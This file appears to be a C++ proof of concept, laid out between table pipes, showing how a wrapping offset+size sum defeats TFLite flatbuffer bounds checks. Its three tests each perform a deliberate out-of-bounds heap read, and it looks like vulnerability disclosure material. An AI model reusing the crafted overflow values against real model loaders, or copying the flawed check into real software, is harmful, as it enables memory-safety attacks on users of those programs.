| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| #include <cstdio> |
| #include <cstdlib> |
| #include <cstdint> |
| #include <cstring> |
|
|
| |
| struct Allocation { |
| char* data; |
| size_t len; |
| Allocation(size_t n) : data(new char[n]()), len(n) {} |
| ~Allocation() { delete[] data; } |
| size_t bytes() const { return len; } |
| const char* base() const { return data; } |
| }; |
|
|
| void test_buffer_offset_overflow() { |
| printf("=== TFLite Buffer offset+size integer overflow → OOB read ===\n\n"); |
|
|
| |
| const size_t allocation_size = 4096; |
| Allocation allocation(allocation_size); |
| memset(allocation.data, 0x42, allocation_size); |
|
|
| printf("allocation: %zu bytes at %p\n", allocation.bytes(), (void*)allocation.base()); |
|
|
| |
| |
| |
| uint64_t offset = 0xFFFFFFFFFFFFFF00ULL; |
| uint64_t size = 0x200ULL; |
|
|
| printf("Flatbuffer Buffer.offset = 0x%016lx\n", (unsigned long)offset); |
| printf("Flatbuffer Buffer.size = 0x%016lx\n", (unsigned long)size); |
| printf("offset + size = 0x%016lx (overflowed!)\n", (unsigned long)(offset + size)); |
| printf("allocation.bytes() = %zu\n\n", allocation.bytes()); |
|
|
| |
| |
| |
| |
| |
| |
| |
| if (offset > 1) { |
| if (offset + size > allocation.bytes()) { |
| printf("[SAFE] Bounds check correctly rejected: offset + size > allocation.bytes()\n"); |
| return; |
| } |
|
|
| printf("[BUG] Bounds check PASSED: offset + size <= allocation.bytes()\n"); |
| printf(" 0x%lx <= %zu (overflowed sum)\n", |
| (unsigned long)(offset + size), allocation.bytes()); |
| printf(" offset+size wrapped from 0x%016lx + 0x%016lx = 0x%016lx\n\n", |
| (unsigned long)offset, (unsigned long)size, (unsigned long)(offset + size)); |
|
|
| |
| |
| |
| const char* buffer_data = allocation.base() + offset; |
|
|
| printf("buffer_data = allocation.base() + offset\n"); |
| printf(" = %p + 0x%lx\n", (void*)allocation.base(), (unsigned long)offset); |
| printf(" = %p\n", (void*)buffer_data); |
| printf("This is ~%lu bytes PAST the end of the %zu-byte allocation\n\n", |
| (unsigned long)(offset - allocation_size), allocation_size); |
|
|
| |
| |
| printf("[!] Triggering OOB READ from the corrupted pointer...\n"); |
| fflush(stdout); |
| volatile char val = buffer_data[0]; |
| printf(" Read value: 0x%02x (should not reach here under ASAN)\n", (unsigned char)val); |
| } |
| } |
|
|
| void test_large_custom_options_overflow() { |
| printf("\n\n=== TFLite large_custom_options offset+size overflow ===\n\n"); |
|
|
| const size_t allocation_size = 4096; |
| Allocation allocation(allocation_size); |
|
|
| |
| |
| |
| uint64_t lco_offset = allocation_size - 16; |
| uint64_t lco_size = UINT64_MAX - lco_offset + 5; |
|
|
| printf("large_custom_options_offset = %lu (0x%lx)\n", (unsigned long)lco_offset, (unsigned long)lco_offset); |
| printf("large_custom_options_size = 0x%016lx\n", (unsigned long)lco_size); |
| printf("offset + size = %lu (overflowed)\n", (unsigned long)(lco_offset + lco_size)); |
| printf("allocation.bytes() = %zu\n\n", allocation.bytes()); |
|
|
| |
| |
| |
| |
| |
| if (lco_offset > 1) { |
| if (lco_offset + lco_size > allocation.bytes()) { |
| printf("[SAFE] Bounds check correctly rejected\n"); |
| return; |
| } |
|
|
| printf("[BUG] Bounds check PASSED (overflow: sum = %lu < allocation = %zu)\n", |
| (unsigned long)(lco_offset + lco_size), allocation.bytes()); |
|
|
| |
| |
| |
| |
| const char* init_data = allocation.base() + lco_offset; |
|
|
| |
| |
| |
| printf("init_data = allocation.base() + %lu = %p\n", |
| (unsigned long)lco_offset, (void*)init_data); |
| printf("OpInit will read %lu (0x%lx) bytes from this pointer\n\n", |
| (unsigned long)lco_size, (unsigned long)lco_size); |
|
|
| |
| printf("[!] Triggering OOB READ (simulating OpInit reading past buffer)...\n"); |
| fflush(stdout); |
| volatile char val = init_data[20]; |
| printf(" Read at init_data[20] = offset 4100, past 4096-byte alloc (ASAN should catch)\n"); |
| } |
| } |
|
|
| void test_buffer_offset_heap_oob() { |
| printf("\n\n=== Variant: heap-buffer-overflow READ (near-end offset) ===\n\n"); |
|
|
| const size_t allocation_size = 1024; |
| Allocation allocation(allocation_size); |
| memset(allocation.data, 0x41, allocation_size); |
|
|
| |
| uint64_t offset = allocation_size - 8; |
| uint64_t size = UINT64_MAX - offset + 3; |
|
|
| printf("offset = %lu, size = 0x%016lx\n", (unsigned long)offset, (unsigned long)size); |
| printf("offset + size = %lu (overflowed to small value)\n", (unsigned long)(offset + size)); |
|
|
| if (offset > 1) { |
| if (offset + size > allocation.bytes()) { |
| printf("[SAFE] Check rejected\n"); |
| return; |
| } |
|
|
| printf("[BUG] Check PASSED: sum %lu <= allocation %zu\n", |
| (unsigned long)(offset + size), allocation.bytes()); |
|
|
| const char* buffer_data = allocation.base() + offset; |
| printf("buffer_data = base + %lu (within allocation)\n", (unsigned long)offset); |
| printf("BUT buffer->size() = 0x%lx → reading that many bytes overflows\n\n", |
| (unsigned long)size); |
|
|
| |
| |
| |
| printf("[!] Triggering heap-buffer-overflow READ...\n"); |
| fflush(stdout); |
| volatile char val = buffer_data[12]; |
| printf(" Read at buffer_data[12] (should not reach here under ASAN)\n"); |
| } |
| } |
|
|
| int main(int argc, char** argv) { |
| setvbuf(stdout, nullptr, _IONBF, 0); |
|
|
| if (argc >= 2 && strcmp(argv[1], "custom") == 0) |
| test_large_custom_options_overflow(); |
| else if (argc >= 2 && strcmp(argv[1], "heap") == 0) |
| test_buffer_offset_heap_oob(); |
| else |
| test_buffer_offset_overflow(); |
|
|
| return 0; |
| } |
|
|